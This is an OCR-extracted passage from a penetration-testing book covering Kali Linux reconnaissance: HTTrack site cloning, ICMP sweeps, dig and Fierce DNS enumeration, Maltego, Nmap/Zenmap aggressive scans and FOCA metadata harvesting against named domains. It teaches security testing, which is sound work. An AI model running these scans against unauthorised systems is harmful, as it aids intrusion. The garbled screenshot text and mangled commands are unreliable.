again. The following two screenshots show hhtrack cloning www.drchaos . com:

Mirror Web Site(

Mirror Web Site(s) with Wizard

Just Get Fil cated

Mirror ALL lin URLs (Mul e Mirror)
Links In UR

Proxy (return

ey

type help
urn=none) :

1ttrack www.drchaos.com -W -0 "/

*

*

-
*
*
*
*
*
tps
*
*
#
*
*
*

WeiW .

WiwW
WwwW

* www.drchaos . com/tag/compliance/www. facebook. com/aamirl
90/860: www.drchaos.com/tag/continuous-monitoring/ (3421
drchaos .
.drchaos.
.drchaos .
.drchaos.
.drchaos.
.drchaos .
.drchaos .
.drchaos .

ravatar.
%2F1.

.drchaos.
.drchaos .
.drchaos .
.drchaos .
.drchaos .
.drchaos.

com/wp-content/uploads/2013/06/identity_an|
com/tag/continuocus-monitoring/<a href= (33
com/benefits-of-using-identity-and-access-
com/tag/continuous-monitoring/www. facebook
com/tag/fedtech/www. facebook.com/aamirlakh
com/tag/ise/www.facebook.com/aamirlakhani®
com/tag/infosec/wwu. facebook. com/aamirlakhi
com/author/tim-adams /www.facebook. com/aami]
com/avatar/fbbf2cf55ed16f7707a%9e5d8dblc657h
gravatar.com%s2Favatar%2Fad516503allcd5cad 35|
com/wp-content/uploads/2813/06/ir_plan- 190
com/category/travel/www. facebook.com/aamir]
com/wp-content/uploads/20813/07/Travel-90x6|
com/wp-content/uploads/2013/07 /dsc_0067-30)
com/tag/travel/www. facebook. com/aamirlakhal
com/tag/data-breach/www.facebook.com/aamin
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After you are done cloning the website, navigate to the directory where you
saved it. Inside, you will find all your files and webpages, as shown in the
following screenshot:

i~/mywebsitesd
cloudcentrics.com

r - S R —
:~/mywebsites#

You are now ready to research your target's website and possibly build a
customized penetration tool or exploit user access to a cloned website.

ICMP Reconnaissance techniques

The ping and traceroute commands are good ways to find out basic information
about your target. When information travels across networks, it usually does not go
directly from source to destination. It usually traverses through several systems, such
as routers, firewalls, and other computer systems before it gets to its destination.

The traceroute command identifies each system the data travels across, along with
the time it takes for the data to move between systems. The tool is installed in every
modern operating system. For most high-value targets, the ping and traceroute
commands will most likely be disabled, and excessive use of these services will

most likely trigger alerts on network security systems. Many firewalls or other
systems are set up not to respond to number B24RYE routes. If systems do respond
to traceroute, using this too excessively can trigger security events. These tools are
noisy, and when used indiscriminately, they will set off alarms and logs. If your goal
is to be stealthy, you have just been defeated, giving your target an opportunity to
set up and deploy counter measures against your Penetration Test.

An ICMP sweep simply sends out an echo request and looks for a reply. If a reply

is returned, then, as a Penetration Tester, you know there is a possible target. The
problem with ICMP scans is that ICMP is usually blocked by most firewalls. That
means any scans from outside going to an internal target network will be blocked by
an ICMP scanner.

The ping command is the most basic way to start an ICMP sweep. You simply type
in ping followed by a hostname or IP address to see what will respond to the ICMP
echo request. The following screenshot shows a ping of www.google . com:

[52]

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 2

Last login: Tue Sep 1@ 1@:28:12 on console
rtp-jomuniz-8815:~ jomuniz$ ping www.googe.com

PING www.googe.com (72.,44,93.94): 56 data bytes

64 bytes from 72.44.93,94: icmp_seq=0 ttl=45 time=123.566 ms
64 bytes from 72.44.93,94: icmp_seq=1 tt1=45 time=118.351 ms
64 bytes from 72.44,93.94: icmp_seq=2 ttl=45 time=106.218 ms
64 bytes from 72.44,93.94: icmp_seq=3 ttl=45 time=116.490 ms
64 bytes from 72.44,93.94: icmp_seq=4 ttl=45 time=116.566 ms
~C

——— Www.googe.com ping statistics -——

5 packets transmitted, 5 packets received, ©.0% packet loss
round-trip min/avg/max/stddev = 106.218/114.638/123.566/5.935 ms
rtp-jomuniz-8815:~ jomuniz$

If you get any responses back, you will know that your host is alive. If you get any
timeouts, your ICMP request is being blocked, or no destination host has received
your request.

The problem with the ping command is that it only allows you to use ICMP to
check on one host at a time. The fping command will allow you ping multiple
hosts with a single command. It will also let you read a file with multiple
hostnames or IP addresses and send them using ICMP echo requests packets.

To use the fping command to run an ICMP sweep on a network, issue the
following command:

fping-asg network/host bits
fping -asg 10.0.1.0/24

Although the a flag will return the results via IP address of live hosts only, the s flag
displays statistics about the scan, the g flag sets fping in quite mode, which means it
does show the user the status of each scan, only the summary when it has completed.

The Nmap provides similar results as the fping command.

DNS Reconnaissance techniques

Most high-value targets have a DNS name associated to an application. DNS
names make it easier for users to access a particular service and add a layer of
professionalism to their system. For example, if you want to access Google for
information, you could open a browser and type in 74.125.227.101 or type www.
google. com.
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DNS information about a particular target can be extremely useful to a Penetration
Tester. DNS allows a Penetration Tester to map out systems and subdomains. Older
DNS attacks transfer a zone file from an authoritative DNS, allowing the tester to
examine the full contents of the zone file to identify potential targets. Unfortunately,
most DNS servers today do not allow unauthenticated zone transfers. However, all
is not lost! DNS by its very nature is a service that responds to queries; therefore,

an attacker could use a word list query containing hundreds of names with a DNS
server. This attack vector is an extremely time consuming task; however, most
aspects can be automated.

Dig (domain information groper) is one the most popular and widely used DNS
Reconnaissance tools. It queries DNS servers. To use Dig, open a command prompt
and type dig and hostname, where hostname represents the target domain. Dig
will use your operating systems default DNS settings to query the hostname.

You can also configure Dig to query custom DNS servers by adding @e<1p> to the
command. The example in the following screenshot illustrates using Dig on
www.cloudcentrics.com.

® OO0 4> alakhani — bash — 80x24 "
chaos:~ alakhani$ 1=l
chaos:~ alakhani$

chaos:~ alakhani$

chaos:~ alakhani$ dig www.cloudcentrics.com

; <<>> DiG 9.8.3-P1 <<>> www,.cCloudcentrics.com

;3 global options: +cmd

;1 Got answer:

;3 —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 57827

;3 flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: @, ADDITIONAL: @

;3 QUESTION SECTION:
;www.cloudcentrics.com. IN A

;3 ANSWER SECTION:
www.cloudcentrics.com. 14400 IN CNAME cloudcentrics.com.
cloudcentrics.com. 14400 IN A 50.116.97.205

;3 Query time: 24 msec

;7 SERVER: 10.0.1.1#53(10.0.1.1)
33 WHEN: Tue Mar 19 23:54:02 2013
;3 MSG SIZE rcvd: 69

chaos:~ alakhani$
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The -t option in Dig will delegate a DNS zone to use the authoritative name
servers. We type dig -t ns cloudcentrics.comin the example in the
following screenshot:

® 0 0 % alakhani — bash — 80x24 ..

Last login: Tue Mar 19 23:50:26 on ttys@e@
chaos:~ alakhani$ dig -t ns cloudcentrics.com

; <<>> DiG 9.8.3-P1 <<>> -t ns cloudcentrics.com

;3 global options: +cmd

;3 Got answer:

;3 —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 15672

;3 flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: @

;3 QUESTION SECTION:
;cloudcentrics.com. IN NS

;3 ANSWER SECTION:
cloudcentrics.com. 85749 IN NS ns3681.hostgator.com.
cloudcentrics.com. 85749 IN NS ns3682.hostgator.com.

;3 Query time: 5 msec

;+ SERVER: 10.0.1.1#53(10.0.1.1)
;3 WHEN: Wed Mar 20 00:04:53 2013
;3 MSG SIZE rcvd: 87

chaos:~ alakhani$

We see from the results we have two authoritative DNS servers for the domain
www . cloudcentrics.com they are ns3681.hostgator.comand ns3682.
hostgator.com.

Congratulations, you have just found the authoritative DNS server for your
target DNS.

DNS target identification

Now that you have found the authoritative DNS servers for a domain, you might
want to see what hosts have entries on that domain. For example, the domain
drchaos . com may have several hosts. such as cloud.drchaos.com, mail. drchaos.
com, sharepoint .drchaos.com. These all could be potential applications and
potentially high value targets.

Before we randomly start choosing hosts, we should query the DNS server to see
what entries exist. The best way to do that is to ask the DNS server to tell us. If the
DNS server is configured to allow zone transfers, it will give us a copy of all its entries.
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Kali ships with a tool named Fierce. Fierce will check to see if the DNS server allows
zone transfers. If zone transfers are permitted, Fierce will execute a zone transfer and
inform the user of the entries. If the DNS server does not allow zone transfers, Fierce
can be configured to brute force host names on a DNS server. Fierce is designed as

a Reconnaissance tool before you use a tool that requires you to know IP addresses,
such as Nmap.

To use Fierce, navigate to Information Gathering | DNS Analysis | Fierce.
Fierce will load into a terminal window as shown in the following screenshot.

-threads Specify how many threads to use while scanning (d

is single threaded).

-traverse Specify a number of IPs above and below wha
have found to look for nearby IPs. Default is 5 ab
below. Traverse will not move into other C blocks.

-version Output) the version number.

-wide Scan/ the entire class /\C after finding any m
hostnames in that class C. This generates a lot mo
but can uncover a lot more information.

-wordlist Use a seperate wordlist (one word per line)

perl fierce.pl -dns examplecompany.com -wordlist dictionary
i~

To run the Fierce script, type the following command:

fierce.pl -dns thesecurityblogger.com

ar.com

est timed out or transfer not allowed.

d fashioned w

the—default wo
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The domain thesecurityblogger.com, shown in the preceding screenshot, has

a few hosts associated with it. We have accomplished our task. However, you can
see Fierce failed at completing a zone transfer. Fierce will try and brute force a zone
transfer using a word list or dictionary file if you have one defined. We did not,
because the goal of this section is to determine what hosts exist on the domain, not
necessarily at this point carry out a zone transfer attack. However, if your goal is
more inclusive than targeting web applications, you may want to explore this further
on your own.

We can now target a particular host and use tools like Nmap to proceed further in
mapping out our target. An important aspect of using Fierce is selecting a target
using very little network traffic, which is important for avoiding detection. We will
use Nmap to gather more information about our target later in this chapter.

Maltego — Information Gathering graphs

Maltego is a Reconnaissance tool built into Kali developed by Paterva. It is a
multipurpose Reconnaissance tool that can gather information using open and
public information on the Internet. It has some built-in DNS Reconnaissance, but
goes much deeper into fingerprinting your target and gathering intelligence on
them. It takes the information and displays the results in a graph for analysis.

To start Maltego, navigate to Application menu in Kali, and click on the Kali menu.
Then select Information Gathering | DNS Analysis | Maltego.

The first step when you launch Maltego is to register it. You cannot use the
application without registration.

* Welcome to Maltego!

Startup wizard - Login (2 of 5)

Enter your details below to log in to the Maltege Community Server

Or if you have not done so yet, register here

Login
* Email Address

Password |

north
S

¥ Solve captcha

Next > Cancel
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When you complete registration, you will be able to install Maltego and start using
the application.

¥ Welcome to Maltego!

Steps Startup wizard - Update transforms (5 of 5)

Welcome
Login Ready...Set...GO!
Login resulil
Select tradsform seeds Your new Maltego client has been initialized sucessfully!
3 new application server(s) were found
141 new transforms were found
76 new entities were installed

You are now ready to use Maltego!
#® Run a machine (NEW!!
) Open a blank graph and let me play around
) Open an example graph

) Go away, | have dane this befare!

| Einish | Cancel

Maltego has numerous methods of gathering information. The best way to use
Maltego is to take advantage of the startup wizard to select the type of information
you want to gather. Experienced users may want to start with a blank graph or skip
the wizard all together. The power of Maltego is that it lets you visually observe the
relationship between a domain, organization, and people. You can focus around a
specific organization, or look at an organization and its related partnerships from
DNS queries.

Depending on the scan options chosen, Maltego will let you perform the
following tasks:

* Associate an e-mail address to a person

* Associate websites to a person

* Verify an e-mail address

* Gather details from Twitter, including geolocation of pictures
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Most of the features are self-explanatory and include how they are used under the
feature description. Maltego is used commonly to gather information and sometimes
used as the first step during a social engineering attack.

* Start a Machine

Steps Run Machine - Choose machine (1 of 2)

1. Choose machine
2. Specify targgl

Please select the machine to run from the list below:

I Company Stalker E
) Footprint L1

{_} Footprint L2

() Footprint L3
| Person - Email Address g

[v] Show on startup

l¥| Show on empty graph click

] Next = Cancel

Nmap

Nmap stands for Network Mapper, and is used to scan hosts and services on

a network. Nmap has advanced features that can detect different applications
running on systems as well as services and OS fingerprinting features. It is one
of the most widely used network scanners making it very effective, but also very
detectable. We recommend using Nmap in very specific situations to

avoid triggering a target's defense systems.

For more information on how to use Nmap, see http://nmap.org/.

Additionally, Kali comes loaded with Zenmap. Zenmap gives Nmap a graphical
user interface (GUI) to run commands. Although there are many purists who will
tell you the command-line version is the best version because of its speed and
flexibility, Zenmap has come a long way and has incorporated most of the Nmap
features. Zenmap also offers exclusive features not offered in Nmap, such as
developing graphical representations of a scan, which can be used later by other
reporting systems.
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To open Zenmap, go to the Backtrack menu. Navigate to Information Mapping |
DNS Analysis, and launch Zenmap.

S5can Tools Profile Help

Target: |i :J Profile: Irn:tnu SEAn :_] ﬂ Cance I

Command: Inmap =Td =& -v

| Hosts  Services l NMD'ITF’HIIMIfHﬂiiITﬂpﬂm|Hﬂ‘l‘mhlkﬂ!|
o5 | Host - | £ ik

Filter Hosts I

You will notice under the Profile menu that there are several options to determine
what type of scan you would like to run, as shown in the following screenshot:

Intense scan A4 I

Intense scan

Intense scan plus UDP
Intense scan, all TCF ports
Intense scan, no ping

Ping scan

Quick scan

Quick scan plus

Guick traceroute

Regular scan

Slow comprehensive scan
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The first step is creating a new profile. A profile in Zenmap allows a Penetration
Tester to create what type of scan to execute and what different options to include.
Navigate to the Profile menu and select New Profile or Command to create a new
profile, as shown in the following screenshot:

Zenmap

Scan Tools Help
Target: Profile: |Intense scan

Edit Selected Profile Ctrl+E
Command: |nmap -T4 -A -v

[ Il . [
|_ Hosts | Services | |Nmap Output | Ports / Hosts  Topolegy | Host Details = Scans

0s Host v

When you select New Profile or Command, the profile editor will launch. You will
need to give your profile a descriptive name. For example, you can call the profile My
First Scan or anything else you would like.

Optionally, you can give the profile a description. During your course of using
Zenmap you will probably create many profiles and make multiple scans. A natural
reflex may be to delete profiles post execution. Here is a word of advice: profiles
don't take any space and come handy when you want to recreate something. We
recommend being extremely descriptive in profile names and come up with a
standard naming method. I start all my profile description with the date, time,
description of my location, my target network scan location, and customer name.

fimap 74 -2

Profile | Scan | Ping | Scripting | Target | Source Other  Timing

Profile Information

Profile name [My First Scan I

Description  3-20-13 at 11:00am CDT
DrChaos network Scan. Target hosts 10.0.1.0/24
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When you completed your description, click on the Scan tab. In the Targets section,
you will add what hosts or networks you would like to scan. This field can take

a range of IP addresses (10.0.1.1-255) or it can take a network in CIDR format
(10.0.1.0/24).

You can see option -A is selected by default to enable aggressive scanning. Aggressive
scanning will enable OS detection (-O), version detection (-sV), script scanning (-sC)
and traceroute (--traceroute). Essentially, aggressive scanning allows a user to turn on
multiple flags without the need of having to remember them.

Aggressive scan is considered intrusive, meaning it will be detected by most
security devices. An aggressive scan may go unnoticed if your target is an
extremely specific host, but regardless of the situation, it's recommended you
have the permission to scan before using this or scanning option. As a reminder,
completing the ACK in the three-way handshake with an unauthorized system is
considered illegal by the US standards.

We can use the information we received from our DNS Reconnaissance exercise to
target a very specific host. Before we do that, let's set a few common options first.

Inmap -T4 -A -v10.0.1.0/24

Profile SCEH'Ping Scripting Target Source Other Timing

Scan options

Targets (optional): 10.0.1.0/24

TCP scan: I MNone =
Mon-TCP scans: I MNone <
Timing template: I Aggressive (-T4) &

Enable all advanced/aggressive options (-A)
[l Operating system detection (-O)

[] Version detection (-sV)

[ Idle Scan (Zombie) (-sl) [ ‘

[J FTP bounce attack (-b) [ ‘

[] Disable reverse DNS resolution (-n)

L1 IPv6 support (-6)
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Click on the Ping tab. Select the -Pn flag option so Nmap will not ping the host first.
When this flag is not set, Nmap will ping your target hosts and networks. Default
settings only perform scans on hosts that are considered alive or reachable. The -Pn
flag tells Nmap to scan a host even without a ping response. Although this makes
the scan considerably more lengthy, the -Pn flag allows Nmap to avoid a common
problem of not receiving a ping response when the ping requests are blocked by
security defenses.

Inmap ~T4 -A -v -Pn 10.0.1.0/24 Scan
Profile |5C3n Ping | Scripting |Target ISour:e |Other | Timing | Help
SCTP INIT ping probes
Ping options
- - Send SCTP INIT chunk
[]iDon't ping before scanning (-Pn); packets to see if targets are
[ ICMP ping (-PE) up. Give a list of ports or

leave the argument blank to

[[1 ICMP timestamp request (-PP) use a default port.

[ ICMP netmask request (-PM)
[ ACK ping (-PA)

[] SYN ping (-PS)

[ UDP probes (-PU)

[ 1PProto probes (-PO)

[ SCTP INIT ping probes (-PY)

Example input:
20,80,179

% Cancel | E Save Changes |

Save changes made by clicking on the Save Changes button in the lower-right
hand corner. Once saved, select the Scan button on the top-right side of the screen
to start the scan. Notice your options and target that you configured in the profile
editor are listed.

Scan Tools Profile Help

Target: |10.0_1.0,n’24 'I Profile: llnlense scan 'l Scan| Cance |

Command: |nmap -T4 -A -v 10.0.1.0/24

| Hosts Services Nmap Qutput | Ports / Hosts |Topology | Host Details |Scans |

0S | Host «~ | nmap-T4-A-v v| Details

Starting Nmap 6.25 ( http://nmap.org ) at 2013-03-21
00:16 CDT

NSE: Loaded 106 scripts for scanning.

NSE: Script Pre-scanning.

The network Topology tab will give you a quick look at how your scan on the target
network was completed, and if you had to cross any routers. In this example, you see
the scan stayed local to the network.
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The Hosts tab will give a list of the hosts discovered.

Scan Jools Profile Help

Target: [10.0.1.0/24 ;I Profile: [Intense scan j ﬂl Cance |

Command: [nmap -T4 -A -v 10.0.1.0/24
I Hosts  Services I Nmap Output |Pevu f Hosts  Topology IHosl Details | scansl
05 |Host - Hosts Vimr| [+] fisheyel i Cnnlmlsl ESaue Graphicl

10.0.1.103
10.0.1.104
10.0.1.107
10.0.1.112
10.0.1.113
10.0.1.122
10.0.1.125
10.0.1.140
10.0.1.142

L -4 R Rull=Rulal-

Filter Hosts I

When a host is selected, Zenmap will display a detailed list of the hosts, their
operating systems, and common services. In the following screenshot, you can
see one of our hosts is a satellite DVR/receiver combo.

Scan Tools Profile Help

Targer: [10.0.1.0/24 LI Profile: [intense scan LI Sr_anl Cancel

Command: |nmap -T4 -A -v 10.0.1.0/24

[[Hosts  senices | Nmap Output | Ports / Hosts | Topology Host Details | Scans |

0s | Host v| |- 1001140 H
U 10.0.1.1 = Host Status
Ay 10.0.1.103 SR = m
Open ports: 4
L 10.0.1.104
Filtered ports: 0
U 100.1.107 Closed ports: 996
U 1001112 Scanned ports: 1000 -
U 10.0.1.113 Up time: 79217 : .
W 1001122 Last boot: Wed Mar 20 02:33:16 2013
o = Addresses
43 . IPvd:  10.0.1.140
W 1001242 IPv6: Mot available
£ MAC: 00:0D:C5:86:80:8F
= Operating System
Name: Dish Network VIP 722k DVR (Linux 2.6)
¢ Ports used
* 05 Classes
# TCP Sequence
& IP ID Sequence
¥ TCP TS Sequence
¥ Comments =
Filter Hosts =
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If you look at the scan window, you will not only see what ports are open on specific
hosts, but also what applications are running on those hosts. Notice that Nmap can
determine things, such as a server is running IIS 5.0 as a web server over port 80. The
scan results will yield the IP address of the server, the operating system the server is
running, as well as the web applications running on the host. Penetration Testers will
find these results valuable when they are searching for exploits against this host.

Scan Tools Profile Help

Target: |10.0.l.0.f24 "l Profile: |Intense scan

Command: |nmap -T4 -A -v 10.0.1.0/ 24

Hosts I Services

Nmap Output | Ports [ Hosts |Tnpo!n.gy | Host Details |Scans |

Service = inmap -T4 -A -v 10.0.1.0/24 i Details
IV I WAl 1A.0.0 - AL.L.90) -
DragonlDSConsole Uptime quess: 13.319 days (since Thu Mar 7 15:48:25 2013) B
. ] Network Distance: 1 hop
airport-admin TCP Sequence Prediction: Difficulty=260 (Good luck!)
daap IP 1D Sequence Generation: Randomized
domain TRACEROUTE
hp-gsg HOP RTT ADDRESS
]_ 1 5.12 ms 10.0.1.104
P Nmap scan report for 10.0.1.167
jetdirect Host is up (0.0063s latency).
netbios-ssn Not shown: 984 closed ports
) PORT STATE SERVICE VERSION _J
printer 80/tcp open http HP Officejet Pro 8600 printer http config
gsc ¢ (Serial CN27KBWHX@O5KC)
http-favicon: Unknown favicon MDS5: A14D3BAAGAG6746D1AT7AFB1E1DCB2FOF
rsp http-methods: GET
snet-sensor-mgmt ht'tp-tlt‘Le, Site doesn't have a title (text/html; charset=UTF-8).
139/tcp open tcpwrapped
ssh 443/tcp open ssl/http HP Officejet Pro 8600 printer http config
(Serial CN27KBWHX0O5KC)
sun-answerbook http-favicon: Unknown favicon MDS: A14D3BAAGAG746D1AT7AFBIE1DCB2FOF
tcpwrapped http-methods: GET
http-title: Site doesn't have a title (text/html; charset=UTF-8).
unknown ssl-cert: Subject: commonName=HPC7761D/organizationName=HP/
stateOrProvinceName=Washington/countryName=US
| Issuer: commonName=HPC7761D/organizationName=HP/stateOrProvinceName=Washington/
countryName=US
Public Key type: rsa
Public Key bits: 1024
Not valid before: 2012-08-03T14:39:21+00:00
Not valid after: 2032-07-29T14:39:21+00:00
MD5: ca%e Ode8 7081 bcbe aB7b aefa 27a0 eléd
SHA-1: 91e5 eeba 5985 c¢739 c950 6437 500a 5257 f896 c5c7 =
F"(erHcsts el deadems AT AT AATAI 1A AE AN AR EhALmEAr femm Toaea]l +3ma —

It is now possible for you to concentrate your efforts on the target's running web

services or port 80, because it is open.

Zenmap is the best way to get output from Nmap scans. Zenmap offers a rich
graphical user interface that displays scans that can be exported into different

formats, such as text or Microsoft Excel.
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Although there are many ways to get outputs from Nmap (for example, the authors
in this book prefer the command-line techniques) we have included this technique
because it is constantly referenced in many web penetration standards and is a
common way for people to use it.

Nmap Output | Ports [ Hosts |Tapo|agv| Host Details IScans |

nmap -T4 -A -v 10.0.1.0/24 |v| £ Detail

Initiating SYN Stealth Scan at 19:58 (4
Scanning 5 hosts [1000 ports/host] W
Discovered open port 8888/tcp on 10.0.1.104
Discovered open port 8080/tcp on 10.0.1.107
Discovered open port 445/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.103
Discovered open port 22/tcp on 10.0.1.103
Discovered open port 80/tcp on 10.0.1.103
Discovered open port 80/tcp on 10.0.1.107
Discovered open port 443/tcp on 10.0.1.107
Discovered open port 80/tcp on 10.0.1.104
Discovered open port 443/tcp on 10.0.1.104
Discovered open port 139/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.1
Discovered open port 910@/tcp on 10.6.1.187
Discovered open port 631/tcp on 10.0.1.107

Discovered open port 9290/tcp on 10.0.1.107
Discovered open port 9111/tcp on 10.0.1.107
Discovered open port 6839/tcp on 10.0.1.107
Discovered open port 9110/tcp on 10.0.1.107
Discovered open port 9102/tcp on 10.0.1.107
Discovered open port 9220/tcp on 10.0.1.187

Discovered open port 515/tcp on 10.0.1.107
Discovered open port 9101/tcp on 10.0.1.107
Discovered open port 787/tcp on 10.0.1.104
Discovered open port 7435/tcp on 10.0.1.187
Completed SYN Stealth Scan against 10.0.1.104 in
1.27s (4 hosts left)

Completed SYN Stealth Scan against 10.0.1.187 in
1.27s (3 hosts left)

Discovered open port 5009/tcp on 10.0.1.1

In addition, several places in GUI for Zenmap allow the user to export graphics and
certain parts of the report in CSV files or image files. These exports are extremely
valuable when creating reports.

Mmap Output |Fnru [/ Hosts Topalogy I Host Details [Sﬂnsl

Haosts 'u'1mer| L nshwel i tnn:mlsJ Es.ave Eraphtcl

FOCA — website metadata Reconnaissance

Did you know every time you create a document, such as a Microsoft PowerPoint
presentation, Microsoft Word document, or PDF, metadata is left in the document?
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What is metadata? Metadata is data about data. It is descriptive information about

a particular data set, object, or resource, including how it is formatted as well as
when and by whom it was collected. Metadata can be useful to Penetration Testers,
because it contains information about the system where the file was created, such as:

* Name of users logged into the system
* Software that created the document
* OS of the system that created the document

FOCA is a security-auditing tool that will examine metadata from domains. You
can have FOCA use search engines to find files on domains or use local files.

FOCA is built into Kali; however, the version is dated. Best practice is downloading
the newest version. FOCA has traditionally been a Windows tool, and the newer
versions may be only available for Windows.

The latest version of FOCA can be downloaded at: http://www.informatica64.
com/DownloadFOCA (use Google Translate to see the page in English).

You will need to give your e-mail address at the bottom of the screen. You will
receive an e-mail with the download link. You will also receive updates when FOCA
has new releases.

1. The first thing to do after launching FOCA is create a new project, as shown
in the following screenshots:.

1= Project Tools . ;Options (3 Taskist /& About [=]Donate
E1-(@ No project
- Network
Domains
+-(¥ Roles
W @ Vunembilties .
#- Metadata
Compiled flags [ FREE ]
Time Source Se |
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a1

I

We recommend keeping all project files in one place. You should
create a new folder for each project.

2. Once you name your project and decide where you want to store the project
files, click on the Create button, as shown in the following screenshot:

Project Tools . ;Options (3 Tasklst & About [Z%]Donate

& Mo project .
- Network Would you like that
=: Domains FOCA TEAM makes a
-9 Roles o
& @ Vunerabities penetration test on
+ Metadata
=
=
[77257213 10:2024 PM
Autosaye project each (Disabled in free version) minutes
e [Sowce [ Severty [wessage
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3. Next thing to do is save your project file. Once you saved the project, click
on the Search All button so FOCA will use search engines to scan for
documents. Optionally, you can use local documents as well.

@ Test Project - FOCA Free 3.2

ol

j, Project ‘Tools . Options () Tasklist ;3_ About Donate
{49 Test Project Searchengines Extensions
Clents () ¥ Goodle Zldoc x5 [el ppsx [l sxc
. d ¥ Bing wl ppt  [w docx vl xlsx  |wl sxi
e Il pps vl ppte [v] sxow (vl odt
Al Hone 0
Custom search ( _lee;r‘cn |
D c 1140 Id | Type | URL | Download | Download Date Size | Analiz +
@”D”m“_: (1/140) Ep ppbe | V\psfiHome'\Deskiop\DigitalLifeDeck ppbx . 10/27/20121:0931.. | 294MB » |
MJel F\E:‘ ‘.S) ] doc | hitp://www wwt com/products_services/documents,/CC . 10/27/2012 1:09:32 BAKB x
b auie; Q”)f"ma“’ g2 doc | hitp:/Awww wwit.com/missouri/docs/eep.doc . 10/27/20121:0932..  285KB x
% Folders o 3 doc | hitp://www wwt .com/products_services/documents/CC... | e 10/27/2012 1:09.33... TKB x
Oh oo ; ] doc hittp:/Awww wwt com/products_services/documents/Go... | » 10/27/20121:09:36...  3645KB x
d;b Printers (0}
Software (2) &5 doc | hitp:/Awww wwt com/products_services/documents/DC... | 10/27/2012 1:09:34. I5KB x
7] Emails {3) @_JE doc hitps ./ /www wwt.com/products_services/documents/C... = 10/27/2012 1:09:35... 3665KB x
£ Operating Systems (0) =7 s hitp://wwew wwt com/markets federal /NIH1E xs . 10/27/20121:09:36... | 1205KB x
Y, Passwords (0) s s hitp:/Awww wwt com Aederal/images/NIH2 xds . 10/27/2012 1:09:37. ITMEKB X
Servers {0) g s hitp:/Awww wwt com/markets federal/NIH3xds . 10/27/2012 1:09.37... 4KB x
®_J 10 s http:/ Awaw wwt com/federal/images/NIH1C s . 10/27/20121.09.35... 6365KE x
11 s hitp:/Awww wwt.com Aederal/images/NIH 1B xds . 10/27/2012 1:09:38. 100.5 KB x—lll
| | 3
Time Source Seve Message :I
1:33:54 MetadataSearch low Downloaded document: hitp:/Awww wwt com/markets/documents/eduSafetyHiEd-broch 121707 pdf
1:34:10 ... MetadataSearch low Downloaded document: http://Awww wwt com/news_events/documents/STLBJ_3-5-03 pdf
1:34:52 ... MetadataSearch low Downloaded document: http://www wwt com/news_events/documents/NAC SecurityRoadshow3-10.
1:35:08 MetadataSearch low Downloaded document: hitp:/Awww wwt com/news_events/documents/FCW_EC54-26-04 pdf
1:35:45 ... MetadataSearch low Downloaded document: hitp:/Awaw wwt.com/news_events/documents/STLBJ_4-14-03 pdf
1:36.06 ... MetadataSearch low Downloaded document: hitp://www wwt com/news_events/documents/SBC_press_release_4-22-0...

" Conf | ;) Deactivate Autoscrall | ZClear |

&=

Downloading 111/140

E‘]SBVE log to File

4. Right-click on the file and select the Download option, as shown in the
following screenshot:

Custom search _L.].baglrlcn
Id | Type | URL | Dowri S ! Size | Analiz «
@] o ppbe  “\psf\Home“Desktop'DigitalLife Deck pphe . E:> wnioa 94MB x|
@1 doc http:/fwwnw wwt.com/products_services/documents/CC... X | . Download Al | IB4KE x
@2 doc http: /A wwt .com./missouri/docs/eep doc X Delete 285KB =
@] 3 doc http: /v wwt . com./products_services/documents/CC...  x I57KE x
@4 doc hittp ./ Awww wwt.com/products_services/documents/Qo... X Delete Al a4 S KE =
(] : i
_J 5 doc http: /A wwt .com./products_services/documents/DC...  x @ ExtractMetadata JEEKE =
@ & doc httpa:/ A wwt com/products_services/documents/C... X BESKE x
=7 s hitp:/Awwwwwt.com/markcets federal/NIH1E s % Extract All Metada 205K %
fZI_J 8 s hittp ./ Awww wwt com.federal images./NIHZ xds x . Analyze Metadata J0AKE x
#s s http:/fwww wwt com./markets. federal /NIH3 ds X 104 KB | x
EJ10  ds | hitps/fwww.wwt.comAederalfimages/NIHIC xis % |lo Addfle HE5KE x
@_J ikl s http:/fwww . wwt.com./federal images/MIH1E xds x o Add folder 00.5 KB X_ILI
4 = AddURLs from file 4
E @ Link 3 |
e methods found trace) on hitp:/fwww wwt .com/mankets /documents.
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5. Right-click on the file and select the Extract Metadata option, as shown in the

following screenshot:

Te: Free -2 5]
= Project " Tools _:Optons (o Taskiist &5 About [ Donate
-4 Test Project - = 2 E z ation,
7 J‘;:v;:ﬂ m ¥ Google vl doc vl xls
& I PPt [ docx &
2§ Severs () 7 Bing e
B \niocaied | pps vl p e b(::ltdnw
[ — Domans Al None
() Roles s useful
& @ Vunerbities
= Metadats Caustom search
= ] [ Type [URL ] Download [ Download Date [ S| 1
ot (1) | ®jo ppbx | \\psf\Home\Desktop\DigtallfeDeck pptx . 102772012 10931, 294Mg o | B Downboad
M."'“Lf:“ Sty =1 doc | hitp //wvew wwt com/products_services/documents/CC_ » 10727/2012 1:09:32. IB4KB x| @ Downioad Al
= m“?m oz doc | http://www wwt com/missoun/docs /sep doc . W2772012 1:09:32 25K |5 stop Al Downoacs
& Pirtens ) )3 doc | hitp:/Awwew wit com/products _sarvices/documents/CC.. 102772012 1:09:33. ITKB x
D Software @) 4 doc | http:/Awww wwt com/products_services/documerts/Qo..  » 10/27/720121:09:36..  %45KB x Delete
|53 Emais (0) s doc | hitp./Awwew wit com/products_services/documents/DC.. o W2I20121:0934.. | 35KB x Delete Al
e 5 o i3 doc | hitps://www et com/pmducts_services/documents/C.. s 10/27/20121:09.35..  3665KB x
* Operating Systems (0 Metadata
-, Passwords (0) &y ds | hitp://wven wwt.com/markets federal/NIH1Exis . 10/2720121:09:36..  1205KB x Extract
B Servers (0) it s | hito-/Awww wwt com/Aedersl/mages/NIHZ s . 1027201210937 305K8 x Extract All Metads
ﬁ_ijg s hitp //www wwt com/markets federal/NIH3 xs . 10/2772012 1:09:37, 14 KB x Analyzs Metadata
@_ljm s http //www wwt com federal images./NiH1C xis . 1042772012 1:09:39, 6365KBE x X
E]11 xs | http/www wwt com/federsl/images/NIH1B xis . 1027201210938 1005KB x| g Addfie
< | g addfoider
| s AddLRLs from fie
low document: vwen oo com do /CRNWhatCl WTpdf & Lk
